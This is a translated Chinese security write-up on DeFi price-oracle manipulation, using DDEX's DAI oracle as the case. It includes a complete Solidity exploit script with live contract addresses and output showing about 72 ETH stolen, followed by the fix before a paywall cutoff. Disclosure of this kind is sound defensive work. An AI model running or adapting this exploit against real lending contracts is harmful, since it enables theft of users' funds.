通过操控抵押品价格预言机牟利

编者注:价格操纵攻击已经几乎无处不在,本文中,介绍了使用 DEX 交易所作为价格预言机有被操控的风险,最难得的难得的是:作者详细介绍了数个案例攻击原理、攻击Demo 演示(文末包含全部代码)、已经应对的解决方案。 推荐DEFI 开发者阅读。

太长不看版

因依赖链上去中心化的价格预言而不验证返回的价格,DDEXbZx容易受到价格操纵攻击。这导致DDEX的ETH/DAI市场损失ETH流动性,以及bZx中所有损失流动性资金,在本文中,将介绍价格操纵攻击的原理、如何实施的攻击、以及如何应对。

什么是去中心化贷款?

首先,让我们谈谈传统贷款。贷款时,通常需要提供某种抵押品,这样,如果你拖欠贷款,贷方便可以扣留抵押品。为了确定你需要提供多少抵押品,贷方通常会知道或能够可靠地计算出抵押品的公平市场价值(FMV)。

在去中心化贷款中,除了贷方现在是与外界隔离的智能合约之外,其他过程相同。这意味着它不能简单地“知道”你提供的任何抵押品的FMV。

为了解决此问题,开发人员指示智能合约查询价格预言机,该预言机接受代币地址并返回对应计价货币(例如ETH或USD)的当前价格。不同的DeFi项目采用了不同的方法来实现此预言机,但通常可以将它们全部归类为以下五种方式之一(尽管某些实现比其他实现更模糊):

  1. 链下中心化预言机 这种类型的预言机只接受来自链下价格来源的新价格,通常来自项目控制的帐户。由于需要使用新汇率快速通知更新预言机,因此该帐户通常是EOA(外部账户),而不是多签钱包。可能需要进行一些合理的检查,以确保价格波动不会太大。 Compound Synthetix的大多数资产使用这种类型的预言机。

  2. 链下去中心化预言机 这种预言机从多个链下来源接受新价格,并通过数学函数(例如平均值)合并这些值。在此模型中,通常使用多签名钱包来管理授权价格源列表。 Maker针对ETH和其他资产使用这种类型的预言机。

  3. 链上中心化预言机 这种类型的预言机使用链上价格来源(例如DEX)确定资产价格。但是,只有授权账号才能触发预言机从链上源读取。像链下中心化预言机一样,这种类型的预言机需要快速更新,因此授权触发帐户可能是EOA而不是多签钱包。 dYdXNuo针对一些资产使用这种类型的预言机。

  4. 链上去中心化预言机 这种预言机使用链上价格来源确定资产价格,但是任何人都可以更新。可能需要进行一些合理检查,以确保价格波动不会太大。 DDEX将这种类型的预言机用于DAI,而bZx对所有资产使用这种类型的预言机。

  5. 常量预言机 这种类型的预言机简单地返回一个常数,通常用于稳定币。由于USDC 钉住美元,因此上述几乎所有项目都将这种类型的预言机用于USDC。

问题

在寻找其他易受攻击的项目时,我看到了这条推文:

老实说,我担心他们会将其(Uniswap)用作价格喂价源。如果我的预感是正确的,那很容易受到攻击。

— Vitalik 非以太赠予者(@VitalikButerin) 2019年2月20日

有人询问为什么,Uniswap项目以下回应:

image-20201221093632496

推文翻译如下:

为什么使用Uniswap价格源容易受到攻击? 您的意思是操纵uniswap价格以触发清算吗?大多数金融衍生品市场,包括加密衍生品市场,其基础现货市场相比流动性数量级相形见绌。

Uniswap 回复:由于可以进行大量交易,因此用函数检查价格预言,然后使用智能合约同步执行另一项巨大交易。 这意味着攻击者只会损失手续费用,而无法被起诉。 我们正致力于将来将Uniswap提升为Oracle。

(译者注:tweet 的时间是 2019 年 2 月,但是具有时间加权功能的价格预言机功能的 Uniswap 还没有发布。)

这些推文非常清楚地说明了该问题,但需要注意的是,对于任何可以在链上提供FMV的预言机,而不仅仅是Uniswap,都存在此问题。

通常,如果价格预言机是完全去中心化的,则攻击者可以在特定瞬间操纵价格表现,而价格滑点的损失则很小甚至没有。如果攻击者随后能够在价格受到操纵的瞬间通知DeFi dApp检查预言机,则它们可能会对系统造成重大损害。在DDEX和bZx的情况下,有可能借出一笔看上去足够抵押的贷款,但实际上抵押不足。

DDEX(Hydro协议)

DDEX是一个去中心化的交易平台,但是正在扩展到去中心化的借贷中,以便他们可以为用户提供创建杠杆多头和空头头寸的能力。他们目前正在对去中心化杠杆保证金交易进行Beta测试。

在2019年9月9日,DDEX将DAI作为资产添加到其保证金交易平台中,并启用了ETH/DAI市场。对于预言机,他们通过这个合约通过PriceOfETHInUSD/PriceOfETHInDAI计算返回DAI/USD的价格。ETH/USD的价格从Maker 预言机中读取,而ETH/DAI的价格从Eth2Dai中读取,或者如果价差太大,则从Uniswap读取。

function peek()
    public
    view
    returns (uint256 _price)
{
    uint256 makerDaoPrice = getMakerDaoPrice();

    if (makerDaoPrice == 0) {
        return _price;
    }

    uint256 eth2daiPrice = getEth2DaiPrice();

    if (eth2daiPrice > 0) {
        _price = makerDaoPrice.mul(ONE).div(eth2daiPrice);
        return _price;
    }

    uint256 uniswapPrice = getUniswapPrice();

    if (uniswapPrice > 0) {
        _price = makerDaoPrice.mul(ONE).div(uniswapPrice);
        return _price;
    }

    return _price;
}

function getEth2DaiPrice()
    public
    view
    returns (uint256)
{
    if (Eth2Dai.isClosed() || !Eth2Dai.buyEnabled() || !Eth2Dai.matchingEnabled()) {
        return 0;
    }

    uint256 bidDai = Eth2Dai.getBuyAmount(address(DAI), WETH, eth2daiETHAmount);
    uint256 askDai = Eth2Dai.getPayAmount(address(DAI), WETH, eth2daiETHAmount);

    uint256 bidPrice = bidDai.mul(ONE).div(eth2daiETHAmount);
    uint256 askPrice = askDai.mul(ONE).div(eth2daiETHAmount);

    uint256 spread = askPrice.mul(ONE).div(bidPrice).sub(ONE);

    if (spread > eth2daiMaxSpread) {
        return 0;
    } else {
        return bidPrice.add(askPrice).div(2);
    }
}

function getUniswapPrice()
    public
    view
    returns (uint256)
{
    uint256 ethAmount = UNISWAP.balance;
    uint256 daiAmount = DAI.balanceOf(UNISWAP);
    uint256 uniswapPrice = daiAmount.mul(10**18).div(ethAmount);

    if (ethAmount < uniswapMinETHAmount) {
        return 0;
    } else {
        return uniswapPrice;
    }
}

function getMakerDaoPrice()
    public
    view
    returns (uint256)
{
    (bytes32 value, bool has) = makerDaoOracle.peek();

    if (has) {
        return uint256(value);
    } else {
        return 0;
    }
}

参考源码

为了触发更新并使预言机刷新其存储的值,用户只需调用updatePrice()即可。

function updatePrice()
    public
    returns (bool)
{
    uint256 _price = peek();

    if (_price != 0) {
        price = _price;
        emit UpdatePrice(price);
        return true;
    } else {
        return false;
    }
}

参考源码

攻击原理

假设我们可以操纵DAI/USD的价格表现。如果是这种情况,我们希望使用它借用系统中的所有ETH,同时提供尽可能少的DAI。为此,我们可以降低ETH/USD的表现价格或增加DAI/USD的表现价格。由于我们已经假设DAI/USD的表现价值是可操纵的,因此我们选择后者。

为了增加DAI/USD的表现价格,我们可以增加ETH/USD的表现价格,或者降低ETH/DAI的表现价格。基于当前意图和目的,操纵Maker的预言是不可能的(因为其采用中心化链下预言机),因此我们将尝试降低ETH/DAI的表现价值。

编者注,因为 DAI/USD价格 = ETH/USD价格 ÷ ETH/DAI 价格

预言机 通过 Eth2Dai取当前要价和当前出价的平均值来计算 ETH/DAI的值。为了降低此值,我们需要通过填充现有订单来降低当前出价,然后通过下新订单来降低当前要价。

但是,这需要大量的初始投资(因为我们需要先填写订单,然后再生成相等数量的订单),并且实施起来并不容易。另一方面,我们可以通过在Uniswap大量交易DAI来影响Uniswap中的价格。因此,我们的目标是绕过Eth2Dai逻辑并操纵Uniswap价格。

为了绕过Eth2Dai,我们需要控制价格的波动幅度。我们可以通过以下两种方式之一进行操作:

  1. 清除订单的一侧,而保留另一侧。这导致价差正增长
  2. 通过列出极端的买入或卖出订单来强制执行交叉的订单。这会导致利差下降。

尽管选项2不会因不利订单而造成任何损失,但SafeMath不允许使用交叉订单,因此我们无法使用。相反,我们会通过清除订单的一侧来强制产生较大的正价差。这将导致DAI 预言机回退到Uniswap来确定DAI的价格。然后,我们可以通过购买大量DAI来降低DAI/ETH的Uniswap价格。一旦操纵了DAI/USD的表现价值,便像往常一样借贷很简单。

攻击演示

以下脚本将通过以下方式获利约70 ETH:

  1. 清除Eth2Dai的卖单,直到价差足够大,以致预言机拒绝价格
  2. 从Uniswap购买更多DAI,价格从213DAI/ETH降至13DAI/ETH
  3. 用少量DAI(〜2500)借出所有可用ETH(〜120)
  4. 将我们从Uniswap购买的DAI卖回Uniswap
  5. 将我们从Eth2Dai购买的DAI卖回Eth2Dai
  6. 重置预言机(不想让其他人滥用我们的优惠价格)
contract DDEXExploit is Script, Constants, TokenHelper {
    OracleLike private constant ETH_ORACLE = OracleLike(0x8984F1CFf1d614a7404b0cfE97C6fa9110b93Bd2);
    DaiOracleLike private constant DAI_ORACLE = DaiOracleLike(0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8);

    ERC20Like private constant HYDRO_ETH = ERC20Like(0x000000000000000000000000000000000000000E);
    HydroLike private constant HYDRO = HydroLike(0x241e82C79452F51fbfc89Fac6d912e021dB1a3B7);

    uint16 private constant ETHDAI_MARKET_ID = 1;

    uint private constant INITIAL_BALANCE = 25000 ether;

    function setup() public {
        name("ddex-exploit");
        blockNumber(8572000);
    }

    function run() public {
        begin("exploit")
            .withBalance(INITIAL_BALANCE)
            .first(this.checkRates)
            .then(this.skewRates)
            .then(this.checkRates)
            .then(this.steal)
            .then(this.cleanup)
            .then(this.checkProfits);
    }

    function checkRates() external {
        uint ethPrice = ETH_ORACLE.getPrice(HYDRO_ETH);
        uint daiPrice = DAI_ORACLE.getPrice(DAI);

        printf("eth=%.18u dai=%.18u\n", abi.encode(ethPrice, daiPrice));
    }

    uint private boughtFromMatchingMarket = 0;

    function skewRates() external {
        skewUniswapPrice();
        skewMatchingMarket();
        require(DAI_ORACLE.updatePrice());
    }

    function skewUniswapPrice() internal {
        DAI.getFromUniswap(DAI.balanceOf(address(DAI.getUniswapExchange())) * 75 / 100);
    }

    function skewMatchingMarket() internal {
        uint start = DAI.balanceOf(address(this));
        WETH.deposit.value(address(this).balance)();
        WETH.approve(address(MATCHING_MARKET), uint(-1));
        while (DAI_ORACLE.getEth2DaiPrice() != 0) {
            MATCHING_MARKET.buyAllAmount(DAI, 5000 ether, WETH, uint(-1));
        }
        boughtFromMatchingMarket = DAI.balanceOf(address(this)) - start;
        WETH.withdrawAll();
    }

    function steal() external {
        HydroLike.Market memory ethDaiMarket = HYDRO.getMarket(ETHDAI_MARKET_ID);
        HydroLike.BalancePath memory commonPath = HydroLike.BalancePath({
            category: HydroLike.BalanceCategory.Common,
            marketID: 0,
            user: address(this)
        });
        HydroLike.BalancePath memory ethDaiPath = HydroLike.BalancePath({
            category: HydroLike.BalanceCategory.CollateralAccount,
            marketID: 1,
            user: address(this)
        });

        uint ethWanted = HYDRO.getPoolCashableAmount(HYDRO_ETH);
        uint daiRequired = ETH_ORACLE.getPrice(HYDRO_ETH) * ethWanted * ethDaiMarket.withdrawRate / DAI_ORACLE.getPrice(DAI) / 1 ether + 1 ether;

        printf("ethWanted=%.18u daiNeeded=%.18u\n", abi.encode(ethWanted, daiRequired));

        HydroLike.Action[] memory actions = new HydroLike.Action[](5);
        actions[0] = HydroLike.Action({
            actionType: HydroLike.ActionType.Deposit,
            encodedParams: abi.encode(address(DAI), uint(daiRequired))
        });
        actions[1] = HydroLike.Action({
            actionType: HydroLike.ActionType.Transfer,
            encodedParams: abi.encode(address(DAI), commonPath, ethDaiPath, uint(daiRequired))
        });
        actions[2] = HydroLike.Action({
            actionType: HydroLike.ActionType.Borrow,
            encodedParams: abi.encode(uint16(ETHDAI_MARKET_ID), address(HYDRO_ETH), uint(ethWanted))
        });
        actions[3] = HydroLike.Action({
            actionType: HydroLike.ActionType.Transfer,
            encodedParams: abi.encode(address(HYDRO_ETH), ethDaiPath, commonPath, uint(ethWanted))
        });
        actions[4] = HydroLike.Action({
            actionType: HydroLike.ActionType.Withdraw,
            encodedParams: abi.encode(address(HYDRO_ETH), uint(ethWanted))
        });
        DAI.approve(address(HYDRO), daiRequired);
        HYDRO.batch(actions);
    }

    function cleanup() external {
        DAI.approve(address(MATCHING_MARKET), uint(-1));
        MATCHING_MARKET.sellAllAmount(DAI, boughtFromMatchingMarket, WETH, uint(0));
        WETH.withdrawAll();

        DAI.giveAllToUniswap();
        require(DAI_ORACLE.updatePrice());
    }

    function checkProfits() external {
        printf("profits=%.18u\n", abi.encode(address(this).balance - INITIAL_BALANCE));
    }
}

/*
### running script "ddex-exploit" at block 8572000
#### executing step: exploit
##### calling: checkRates()
eth=213.440000000000000000 dai=1.003140638067989051
##### calling: skewRates()
##### calling: checkRates()
eth=213.440000000000000000 dai=16.058419875880325580
##### calling: steal()
ethWanted=122.103009983203364425 daiNeeded=2435.392672403537525078
##### calling: cleanup()
##### calling: checkProfits()
profits=72.140629996890984407
#### finished executing step: exploit
*/

解决方案

DDEX团队通过部署新的预言机解决了此问题这对DAI的价格设置了合约价格界限,目前将其设置为0.95和1.05。


function updatePrice()
    public
    returns (bool)
{
    uint256 _price = peek();

    if (_price == 0) {
        return false;
    }

    if (_price == price) {
        return true;
    }

    if (_price > maxP...

剩余50%的内容购买后可查看

点赞 1
收藏 1
分享

0 条评论

请先 登录 后评论
翻译小组
翻译小组
我代表了好多社区小伙伴~